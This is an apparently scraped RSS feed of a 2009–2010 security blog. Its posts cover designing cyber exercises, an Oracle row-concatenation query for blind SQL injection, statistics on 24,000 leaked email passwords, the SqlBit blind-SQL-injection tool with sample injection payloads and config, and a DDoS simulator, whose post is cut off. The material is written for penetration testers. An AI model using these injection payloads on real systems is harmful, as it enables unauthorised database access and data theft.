		<media:content url="http://0.gravatar.com/avatar/cbb75ebdf246fc83f062b083ba2cecb9?s=96&#38;d=http%3A%2F%2F0.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96" medium="image">
			<media:title type="html">stormsecurity</media:title>
		</media:content>

		<media:content url="http://stormsecurity.files.wordpress.com/2010/09/disasm_instr.png" medium="image">
			<media:title type="html">disasm_at_instruction</media:title>
		</media:content>

		<media:content url="http://stormsecurity.files.wordpress.com/2010/09/disasm_opcode.png" medium="image">
			<media:title type="html">disasm_at_opcode</media:title>
		</media:content>

		<media:content url="http://stormsecurity.files.wordpress.com/2010/09/disasm_at_address2.png" medium="image">
			<media:title type="html">disasm_at_address2</media:title>
		</media:content>
	</item>
		<item>
		<title>Guide For Designing Cyber Security Exercises</title>
		<link>http://stormsecurity.wordpress.com/2010/01/26/guide-for-designing-cyber-security-exercises/</link>
		<comments>http://stormsecurity.wordpress.com/2010/01/26/guide-for-designing-cyber-security-exercises/#comments</comments>
		<pubDate>Tue, 26 Jan 2010 21:45:15 +0000</pubDate>
		<dc:creator>stormsecurity</dc:creator>
				<category><![CDATA[Cyber Defense]]></category>
		<category><![CDATA[cyber defense exercise]]></category>
		<category><![CDATA[cyber security exercise]]></category>
		<category><![CDATA[design guide]]></category>
		<category><![CDATA[security education]]></category>

		<guid isPermaLink="false">http://stormsecurity.wordpress.com/?p=257</guid>
		<description><![CDATA[Here is an article that I&#8217;ve recently published at the Information Security and Privacy WSEAS International Conference &#8211; December 2009.  Abstract: &#8211; Cyber security exercises are a very effective way of learning the practical aspects of information security. But designing such exercises is not an easy task and requires the work of several people. This paper [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=stormsecurity.wordpress.com&amp;blog=4476089&amp;post=257&amp;subd=stormsecurity&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><a href="http://stormsecurity.files.wordpress.com/2010/01/guide-for-designing-cyber-security-exercises.pdf">Here</a> is an article that I&#8217;ve recently published at the <a href="http://www.wseas.us/conferences/2009/tenerife/isp/"><em>Information Security and Privacy</em> </a>WSEAS International Conference &#8211; December 2009.</p>
<p style="text-align:justify;"><em> Abstract:</em> &#8211; Cyber security exercises are a very effective way of learning the practical aspects of information security. But designing such exercises is not an easy task and requires the work of several people. This paper presents a number of steps and guidelines that should be followed when designing a new cyber security exercise. The steps include: defining the objectives, choosing an approach, designing network topology, creating a scenario, establishing a set of rules, choosing appropriate metrics and learning lessons. The intended audience of this paper is persons who are in charge with design and organization of a new cyber security exercise and do not have the experience of previous exercises.</p>
<p><em>Key-Words:</em> &#8211; cyber security exercise, cyber defense exercise, security education, design guide</p>
<p>If any questions, feel free to contact me.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/stormsecurity.wordpress.com/257/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/stormsecurity.wordpress.com/257/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/stormsecurity.wordpress.com/257/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/stormsecurity.wordpress.com/257/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/stormsecurity.wordpress.com/257/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/stormsecurity.wordpress.com/257/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/stormsecurity.wordpress.com/257/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/stormsecurity.wordpress.com/257/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/stormsecurity.wordpress.com/257/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/stormsecurity.wordpress.com/257/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/stormsecurity.wordpress.com/257/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/stormsecurity.wordpress.com/257/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/stormsecurity.wordpress.com/257/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/stormsecurity.wordpress.com/257/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=stormsecurity.wordpress.com&amp;blog=4476089&amp;post=257&amp;subd=stormsecurity&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://stormsecurity.wordpress.com/2010/01/26/guide-for-designing-cyber-security-exercises/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/cbb75ebdf246fc83f062b083ba2cecb9?s=96&#38;d=http%3A%2F%2F0.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96" medium="image">
			<media:title type="html">stormsecurity</media:title>
		</media:content>
	</item>
		<item>
		<title>GROUP_CONCAT() for Oracle blind SQL injection</title>
		<link>http://stormsecurity.wordpress.com/2010/01/13/group_concat-for-oracle-blind-sql-injection/</link>
		<comments>http://stormsecurity.wordpress.com/2010/01/13/group_concat-for-oracle-blind-sql-injection/#comments</comments>
		<pubDate>Wed, 13 Jan 2010 09:40:06 +0000</pubDate>
		<dc:creator>stormsecurity</dc:creator>
				<category><![CDATA[How To]]></category>

		<guid isPermaLink="false">http://stormsecurity.wordpress.com/?p=245</guid>
		<description><![CDATA[GROUP_CONCAT() is a MySQL function that returns a string formed by concatenating multiple rows of a table. This function is very useful in blind SQL injection attacks where you often need to extract multiple rows from a table in a single query. Then you will probably obtain this data through an out-of-band channel. Unfortunately, Oracle does not have such a [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=stormsecurity.wordpress.com&amp;blog=4476089&amp;post=245&amp;subd=stormsecurity&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p style="text-align:justify;">GROUP_CONCAT() is a MySQL function that returns a string formed by concatenating multiple rows of a table.</p>
<p style="text-align:justify;">This function is very useful in blind SQL injection attacks where you often need to extract multiple rows from a table in a single query. Then you will probably obtain this data through an out-of-band channel.</p>
<p style="text-align:justify;">Unfortunately, Oracle does not have such a function. So what do you do if you need to extract multiple rows in a single query?</p>
<p style="text-align:justify;">After a few hours of searching I have found a solution that works:</p>
<p style="text-align:justify;">Assuming you have a table called <strong>mytable</strong> which has a column called <strong>mycolumn</strong>, you can obtain a concatenation of all the values from mycolumn by using this query:</p>
<p><code><span style="color:#00ccff;">SELECT LTRIM(MAX(SYS_CONNECT_BY_PATH(<strong>mycolumn</strong>,',')) KEEP (DENSE_RANK LAST ORDER BY curr),',') AS xyz FROM (SELECT <strong>mycolumn</strong>, rownum AS curr, rownum -1 AS prev FROM <strong>mytable</strong> WHERE <strong>mycolumn</strong> &lt;= 'C02BC00555') CONNECT BY prev = PRIOR curr START WITH curr = 1</span></code></p>
<p><code>This worked for me in Oracle 10g but I'm pretty sure it works for other versions too.</code></p>
<p><code>Cheers,</code></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/stormsecurity.wordpress.com/245/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/stormsecurity.wordpress.com/245/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/stormsecurity.wordpress.com/245/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/stormsecurity.wordpress.com/245/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/stormsecurity.wordpress.com/245/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/stormsecurity.wordpress.com/245/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/stormsecurity.wordpress.com/245/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/stormsecurity.wordpress.com/245/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/stormsecurity.wordpress.com/245/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/stormsecurity.wordpress.com/245/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/stormsecurity.wordpress.com/245/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/stormsecurity.wordpress.com/245/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/stormsecurity.wordpress.com/245/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/stormsecurity.wordpress.com/245/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=stormsecurity.wordpress.com&amp;blog=4476089&amp;post=245&amp;subd=stormsecurity&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://stormsecurity.wordpress.com/2010/01/13/group_concat-for-oracle-blind-sql-injection/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/cbb75ebdf246fc83f062b083ba2cecb9?s=96&#38;d=http%3A%2F%2F0.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96" medium="image">
			<media:title type="html">stormsecurity</media:title>
		</media:content>
	</item>
		<item>
		<title>Check if your email account has been exposed!</title>
		<link>http://stormsecurity.wordpress.com/2009/10/12/check-if-your-email-account-has-been-exposed/</link>
		<comments>http://stormsecurity.wordpress.com/2009/10/12/check-if-your-email-account-has-been-exposed/#comments</comments>
		<pubDate>Mon, 12 Oct 2009 14:57:05 +0000</pubDate>
		<dc:creator>stormsecurity</dc:creator>
				<category><![CDATA[News analysis]]></category>
		<category><![CDATA[analysis]]></category>
		<category><![CDATA[hotmail accounts]]></category>
		<category><![CDATA[hotmail exposed]]></category>
		<category><![CDATA[pastebin]]></category>
		<category><![CDATA[phishing]]></category>

		<guid isPermaLink="false">http://stormsecurity.wordpress.com/?p=213</guid>
		<description><![CDATA[This post is about the 24,000 email accounts that were recently made public (along with their passwords) on pastebin.com website, a few days ago. From the depths of the Internet (some Google cache) I have managed to get a copy of that list. I have split that list in two and HERE is the username list and HERE is [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=stormsecurity.wordpress.com&amp;blog=4476089&amp;post=213&amp;subd=stormsecurity&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p style="text-align:justify;">This post is about the 24,000 email accounts that were recently <a href="http://news.bbc.co.uk/2/hi/8291268.stm">made public</a> (along with their passwords) on pastebin.com website, <a href="http://www.neowin.net/news/main/09/10/05/thousands-of-hotmail-passwords-leaked-online">a few days ago</a>. From the depths of the Internet (some Google cache) I have managed to get a copy of that list. I have split that list in two and <a href="http://www.box.net/shared/m9fv11hcrc">HERE</a> is the username list and <a href="http://www.box.net/shared/jek7g37fjk">HERE</a> is the (shuffled!) password list.</p>
<p style="text-align:justify;">Anyone interested can search himself in the username list to see if his account has been exposed. The passwords do not match because I have intentionally shuffled them. My purpose was not to expose peoples passwords but to make a statistic analisys on the 24k list, similar to <a href="http://www.acunetix.com/blog/websecuritynews/statistics-from-10000-leaked-hotmail-passwords/">this</a> analysis made on the first 10k list of accounts posted on pastebin.com.</p>
<p>So, the list that I found had initially 24,546 entries. Not all of them were in the <em>username@domain/password</em> format so, after a bit of cleaning, I got a 23,573 list of useful accounts. Then I removed the duplicates and I got the <strong>final list of 21686 entries</strong>. On this list I have made my analysis.</p>
<p>I should mention that there are not only Hotmail accounts in the list but also Yahoo, Gmail, AoL and other accounts. Here is the <strong>top 20 domains</strong> and the number of accounts for each of them:</p>
<table border="0" width="100%">
<tbody>
<tr>
<td>1. hotmail.com &#8211; 12478<br />
2. yahoo.com &#8211; 3012<br />
3. aol.com &#8211; 827<br />
4. gmail.com &#8211; 512<br />
5. msn.com &#8211; 443<br />
6. hotmail.fr &#8211; 346<br />
7. comcast.net &#8211; 321<br />
8. aim.com &#8211; 287<br />
9. sbcglobal.net &#8211; 275<br />
10. hotmail.co.uk &#8211; 206</td>
<td>11. neomail.com &#8211; 153<br />
12. hotmail.es &#8211; 117<br />
13. cox.net &#8211; 116<br />
14. verizon.net &#8211; 96<br />
15. bellsouth.net &#8211; 95<br />
16. live.com.mx &#8211; 71<br />
17. yahoo.ca &#8211; 63<br />
18. yahoo.co.uk &#8211; 63<br />
19. charter.net &#8211; 47<br />
20. earthlink.net &#8211; 46</td>
</tr>
</tbody>
</table>
<p>And the <em>pie version</em> if you like:</p>
<p><img class="aligncenter size-full wp-image-229" title="Domain distribution" src="http://stormsecurity.files.wordpress.com/2009/10/domain_distrib.jpg?w=450&#038;h=343" alt="Domain distribution" width="450" height="343" /></p>
<p>If we look at the usernames, we can see that the first 9,586 of them are alphabetically ordered and they are the ones from the first list posted on pastebin.com. They begin with letters &#8216;A&#8217; and &#8216;B&#8217;. As Mr. Bogdan Calin <a href="http://www.acunetix.com/blog/websecuritynews/statistics-from-10000-leaked-hotmail-passwords/">said</a>, based on their passwords, they seam to belong to the Latino community. But the rest of the accounts seam to be from worldwide.</p>
<p>The most used password is still <em>123456</em> . As you can see below, from the total of 21,686 passwords, 91 of them were <em>123456</em> . Here is the <strong>top 100 of the most commonly used passwords</strong> from the list:</p>
<table border="0" width="100%">
<tbody>
<tr>
<td>1. 123456 &#8211; 91<br />
2. neopets &#8211; 39<br />
3. monkey &#8211; 27<br />
4. 123456789 &#8211; 26<br />
5. 123321 &#8211; 24<br />
6. password &#8211; 23<br />
7. iloveyou &#8211; 17<br />
8. princess &#8211; 16<br />
9. horses &#8211; 16<br />
10. tigger &#8211; 15<br />
11. pokemon &#8211; 14<br />
12. cheese &#8211; 14<br />
13. 111111 &#8211; 13<br />
14. kitty &#8211; 13<br />
15. purple &#8211; 12<br />
16. dragon &#8211; 12<br />
17. nicole &#8211; 12<br />
18. 1234567 &#8211; 11<br />
19. alejandra &#8211; 11<br />
20. daniel &#8211; 11<br />
21. bubbles &#8211; 10<br />
22. alejandro &#8211; 10<br />
23. michelle &#8211; 10<br />
24. 12345 &#8211; 10<br />
25. hello &#8211; 10<br />
26. cookie &#8211; 10<br />
27. chocolate &#8211; 9<br />
28. hottie &#8211; 9<br />
29. alberto &#8211; 9<br />
30. 12345678 &#8211; 9<br />
31. fluffy &#8211; 9<br />
32. buddy &#8211; 9<br />
33. 123123 &#8211; 9</td>
<td>34. cassie &#8211; 9<br />
35. andrea &#8211; 9<br />
36. secret &#8211; 9<br />
37. shadow &#8211; 9<br />
38. tequiero &#8211; 9<br />
39. metallica &#8211; 9<br />
40. poop &#8211; 8<br />
41. hi &#8211; 8<br />
42. sebastian &#8211; 8<br />
43. jessica &#8211; 8<br />
44. adopt &#8211; 8<br />
45. 654321 &#8211; 8<br />
46. justin &#8211; 7<br />
47. newpw123 &#8211; 7<br />
48. scooter &#8211; 7<br />
49. soccer &#8211; 7<br />
50. holly &#8211; 7<br />
51. hannah &#8211; 7<br />
52. flower &#8211; 7<br />
53. 1234 &#8211; 7<br />
54. jessie &#8211; 7<br />
55. ashley &#8211; 7<br />
56. tiger &#8211; 7<br />
57. lauren &#8211; 7<br />
58. football &#8211; 7<br />
59. elizabeth &#8211; 7<br />
60. casper &#8211; 7<br />
61. roberto &#8211; 7<br />
62. 000000 &#8211; 7<br />
63. legolas &#8211; 7<br />
64. estrella &#8211; 7<br />
65. 159753 &#8211; 7<br />
66. anime &#8211; 7</td>
<td>67. sabrina &#8211; 6<br />
68. moomoo &#8211; 6<br />
69. angelica &#8211; 6<br />
70. cat123 &#8211; 6<br />
71. bonita &#8211; 6<br />
72. buster &#8211; 6<br />
73. kitten &#8211; 6<br />
74. killer &#8211; 6<br />
75. qwerty &#8211; 6<br />
76. chelsea &#8211; 6<br />
77. sasuke &#8211; 6<br />
78. olivia &#8211; 6<br />
79. theresa &#8211; 6<br />
80. america &#8211; 6<br />
81. beatriz &#8211; 6<br />
82. mariposa &#8211; 6<br />
83. oscar &#8211; 6<br />
84. rainbow &#8211; 6<br />
85. yellow &#8211; 6<br />
86. cool &#8211; 6<br />
87. ginger &#8211; 6<br />
88. maggie &#8211; 6<br />
89. friends &#8211; 6<br />
90. asdfgh &#8211; 6<br />
91. abc123 &#8211; 6<br />
92. neopet &#8211; 6<br />
93. dancer &#8211; 6<br />
94. amanda &#8211; 6<br />
95. avatar &#8211; 6<br />
96. boogie &#8211; 6<br />
97. greenday &#8211; 6<br />
98. thumper &#8211; 6<br />
99. 666666 &#8211; 6<br />
100. bob &#8211; 6</td>
</tr>
</tbody>
</table>
<p>About the passwords format, I could extract the following statistics:</p>
<ul>
<li>43.3%   alphanum, lower case. Example: monkey</li>
<li>2.1%     alphanum, lower and upper. Example: Thomas</li>
<li>15.8%   numeric only passwords. Example: 123456</li>
<li>35.1%   alphanum and numbers. Example: j0s3ph</li>
<li>3.6%     alphanum, numbers and special chars. Example: sandra19_1961</li>
<li>30%      numeric ended passwords. Example: hello1</li>
</ul>
<p>If we look at the password lengths in the following graph, we can see that most of them are 6 characters long:</p>
<p style="text-align:center;"><img class="size-full wp-image-226 aligncenter" title="Password length distribution" src="http://stormsecurity.files.wordpress.com/2009/10/pwd_length_distrib.jpg?w=450&#038;h=184" alt="Password length distribution" width="450" height="184" /></p>
<p>In conclusion, now it&#8217;s a good time to do  our regular password change routine. Choose a long and complex password and beware of phishing attempts!</p>
<p>Cheers,</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/stormsecurity.wordpress.com/213/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/stormsecurity.wordpress.com/213/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/stormsecurity.wordpress.com/213/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/stormsecurity.wordpress.com/213/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/stormsecurity.wordpress.com/213/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/stormsecurity.wordpress.com/213/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/stormsecurity.wordpress.com/213/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/stormsecurity.wordpress.com/213/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/stormsecurity.wordpress.com/213/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/stormsecurity.wordpress.com/213/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/stormsecurity.wordpress.com/213/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/stormsecurity.wordpress.com/213/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/stormsecurity.wordpress.com/213/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/stormsecurity.wordpress.com/213/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=stormsecurity.wordpress.com&amp;blog=4476089&amp;post=213&amp;subd=stormsecurity&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://stormsecurity.wordpress.com/2009/10/12/check-if-your-email-account-has-been-exposed/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/cbb75ebdf246fc83f062b083ba2cecb9?s=96&#38;d=http%3A%2F%2F0.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96" medium="image">
			<media:title type="html">stormsecurity</media:title>
		</media:content>

		<media:content url="http://stormsecurity.files.wordpress.com/2009/10/domain_distrib.jpg" medium="image">
			<media:title type="html">Domain distribution</media:title>
		</media:content>

		<media:content url="http://stormsecurity.files.wordpress.com/2009/10/pwd_length_distrib.jpg" medium="image">
			<media:title type="html">Password length distribution</media:title>
		</media:content>
	</item>
		<item>
		<title>SqlBit &#8211; a new blind SQL injection exploiter</title>
		<link>http://stormsecurity.wordpress.com/2009/10/08/sqlbit-a-new-blind-sql-injection-exploiter/</link>
		<comments>http://stormsecurity.wordpress.com/2009/10/08/sqlbit-a-new-blind-sql-injection-exploiter/#comments</comments>
		<pubDate>Thu, 08 Oct 2009 11:02:47 +0000</pubDate>
		<dc:creator>stormsecurity</dc:creator>
				<category><![CDATA[Tools (StormSecurity)]]></category>
		<category><![CDATA[blind SQL injection]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[penetration testing]]></category>

		<guid isPermaLink="false">http://stormsecurity.wordpress.com/?p=184</guid>
		<description><![CDATA[SqlBit is a tool that can be used to execute arbitrary queries on a MySQL database and view the results by exploiting a blind SQL injection vulnerability on the web application that uses that database. It extracts data bit by bit. SqlBit can be downloaded and used freely from here.<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=stormsecurity.wordpress.com&amp;blog=4476089&amp;post=184&amp;subd=stormsecurity&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><strong>SqlBit</strong> is a tool that can be used to execute arbitrary queries on a MySQL database and view the results by exploiting a blind SQL injection vulnerability on the web application that uses that database. It extracts data bit by bit. SqlBit can be downloaded and used freely from <a title="SqlBit" href="http://www.box.net/shared/bn8fsr6jfu">here</a>.</p>
<p>You can run SqlBit like this:</p>
<p><span style="color:#00ffff;">perl    sqlbit.pl    &#8220;arbitrary SQL query&#8221;</span></p>
<p><strong>Example:</strong></p>
<p><span style="color:#00ffff;">perl    sqlbit.pl    &#8220;SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != &#8216;mysql&#8217; AND table_schema != &#8216;information_schema&#8217; &#8220;</span></p>
<p>This application was written in Perl so it can run anywhere you have a Perl interpreter (Windows, Linux, etc). It is fully customizable by using a configuration file <em>config.txt</em> where you can set many parameters from the HTTP request. The <strong>configuration file</strong> looks like this:</p>
<p><span style="color:#00ffff;">HTTP_Method=POST<br />
URL=http://www.vulnerabile-site.com/login.php<br />
HTTP_VERSION=HTTP/1.1<br />
Host=www.vulnerabile-site.com<br />
User-Agent=Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11 (.NET CLR 3.5.30729) Paros/3.2.13<br />
Accept=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8<br />
Accept-Language=en-us<br />
Accept-Charset=ISO-8859-1,utf-8;q=0.7,*;q=0.7<br />
Keep-Alive=300<br />
Proxy-Connection=keep-alive<br />
Referer=http://www.vulnerabile-site.com/index.php<br />
Cookie=PHPSESSID=776a2e7181af170e7d57f51773b9527b<br />
Content-Type=application/x-www-form-urlencoded<br />
Content-Length=21<br />
param: <strong>user=j&#8217; and ($SQL$) &#8212; &#8216;</strong><br />
param: password=xxx</span></p>
<p>You can see that SqlBit requires a place where it can put a valid SQL query. You should previously test that this query gets executed successfully. This place must be specified by the string <strong>$SQL$</strong>.</p>
<p>That&#8217;s all about the functionality of SqlBit. If you want to know more, here is some <strong>background</strong> <strong>information</strong>:</p>
<p>During some of my pentests I encountered blind SQL injection vulnerabilities. I tried to use a few tools that were supposed to exploit them but none of them reached my expectations. So I decided to write my own tool and <a title="SqlBit" href="http://www.box.net/shared/bn8fsr6jfu">here</a> it is.</p>
<p>As you may already know, blind SQL injection is when you can&#8217;t see the result of a query but it gets executed successfully on the server side. For instace:</p>
<p><span style="color:#00ffff;">httx://www.vulnerable-site.com/view.jsp?page=13&#8242; limit 0 union select 1,2,3 from dual where 1 &#8212; &#8216;</span></p>
<p>This can be specified in SqlBit configuration file as:</p>
<p><span style="color:#00ffff;">param: page=13&#8242; </span><span style="color:#00ffff;">limit 0 union select 1,2,3 from dual where</span><span style="color:#00ffff;"> $SQL$ &#8212; &#8216; </span><span style="color:#00ffff;"><br />
</span></p>
<p>If the URL above produces the same output as the legitimate URL:</p>
<p><span style="color:#00ffff;">httx://www.vulnerable-site.com/view.jsp?page=13</span></p>
<p>it might be because the parameter <em>page</em> is not filtered correctly and we can inject SQL commands. But we cannot always see the output of our SQL commands because of the application internal logic or other reasons.</p>
<p>In this case we can use a timing attack that is based on this MySQL query:</p>
<p>SELECT IF (expresion, true, false)</p>
<p>where expression is a query that returns true or false. In the <em>true</em> case we can sleep (BENCHMARK) a certain amount of time while in the <em>false</em> case we return directly. This way we are able to know if a bit of data is 0 or 1.</p>
<p>By automating the requests, we can extract data from the database bit by bit.</p>
<p>Enjoy!</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/stormsecurity.wordpress.com/184/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/stormsecurity.wordpress.com/184/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/stormsecurity.wordpress.com/184/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/stormsecurity.wordpress.com/184/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/stormsecurity.wordpress.com/184/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/stormsecurity.wordpress.com/184/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/stormsecurity.wordpress.com/184/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/stormsecurity.wordpress.com/184/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/stormsecurity.wordpress.com/184/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/stormsecurity.wordpress.com/184/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/stormsecurity.wordpress.com/184/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/stormsecurity.wordpress.com/184/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/stormsecurity.wordpress.com/184/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/stormsecurity.wordpress.com/184/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=stormsecurity.wordpress.com&amp;blog=4476089&amp;post=184&amp;subd=stormsecurity&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://stormsecurity.wordpress.com/2009/10/08/sqlbit-a-new-blind-sql-injection-exploiter/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/cbb75ebdf246fc83f062b083ba2cecb9?s=96&#38;d=http%3A%2F%2F0.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96" medium="image">
			<media:title type="html">stormsecurity</media:title>
		</media:content>
	</item>
		<item>
		<title>Application Layer DDoS Simulator</title>
		<link>http://stormsecurity.wordpress.com/2009/03/03/application-layer-ddos-simulator/</link>
		<comments>http://stormsecurity.wordpress.com/2009/03/03/application-layer-ddos-simulator/#comments</comments>
		<pubDate>Tue, 03 Mar 2009 12:14:21 +0000</pubDate>
		<dc:creator>stormsecurity</dc:creator>
				<category><![CDATA[DDoS]]></category>
		<category><![CDATA[Tools (StormSecurity)]]></category>
		<category><![CDATA[ddos flood]]></category>
		<category><![CDATA[denial of service]]></category>
		<category><![CDATA[simulation]]></category>

		<guid isPermaLink="false">http://stormsecurity.wordpress.com/?p=142</guid>
		<description><![CDATA[Update(november 2010):  ddosim v0.2 has been released. You can find it at: https://sourceforge.net/projects/ddosim/. ddosim is a tool that can be used in a laboratory environment to simulate a distributed denial of service (DDOS) attack against a target server. The test will show the capacity of the server to handle application specific DDOS attacks. ddosim simulates [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=stormsecurity.wordpress.com&amp;blog=4476089&amp;post=142&amp;subd=stormsecurity&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><span style="text-decoration:underline;"><strong>Update</strong></span>(november 2010):  ddosim v0.2 has been released. You can find it at: <a title="ddosim at Sourceforge" href="https://sourceforge.net/projects/ddosim/">https://sourceforge.net/projects/ddosim/</a>.</p>
<p><a title="Download ddosim" href="http://sourceforge.net/projects/ddosim/">ddosim</a> is a tool that can be used in a laboratory environment to simulate a distributed denial of service (DDOS) attack against a target server. The test will show the capacity of the server to handle application specific DDOS attacks. <em>ddosim</em> simulates several zombie hosts (having random IP addresses) which create full TCP connections to the target server. After completing the connection, <em>ddosim</em> starts the conversation with the listening application (e.g. HTTP server).</p>
<p><a title="Download ddosim" href="https://sourceforge.net/projects/ddosim/">ddosim</a> is written in C++ and runs on Linux. Its current functionalities include:</p>
<ul>
<li>
<div>HTTP DDoS with valid requests</div>
</li>
<li>
<div>HTTP DDoS with invalid requests (similar to a <a title="DC++ and DDoS Attacks Article" href="http://stormsecurity.wordpress.com/2008/08/11/dc-and-ddos-attacks/">DC++ attack</a>)</div>
</li>
<li>
<div>SMTP DDoS</div>
</li>
<li>
<div>TCP connection flood on random port</div>
</li>
</ul>
<p>In order to simulate such an attack in a lab environment we need to setup a network like this:</p>
<div id="attachment_318" class="wp-caption aligncenter" style="width: 415px"><a href="http://stormsecurity.files.wordpress.com/2009/03/ddosim_topology1.png"><img class="size-full wp-image-318" title="ddosim_network_config" src="http://stormsecurity.files.wordpress.com/2009/03/ddosim_topology1.png?w=450" alt="Network configuration for DDOS simulation"   /></a><p class="wp-caption-text">Network configuration for DDOS simulation</p></div>
<p><span style="color:#ffff00;">On the victim machine <em>ddosim</em> creates full TCP connections &#8211; which are only simulated connections on the attacker side.</span></p>
<p>There are a lot of options that make the tool  quite flexible:</p>
<p><span style="color:#ff6600;">Usage: ./ddosim</span><br />
<span style="color:#ff6600;">-d IP                   Target IP address</span><br />
<span style="color:#ff6600;">-p PORT            Target port</span><br />
<span style="color:#ff6600;">[-k NET]             Source IP from class C network</span> <span style="color:#ff6600;">(ex. 10.4.4.0)</span><br />
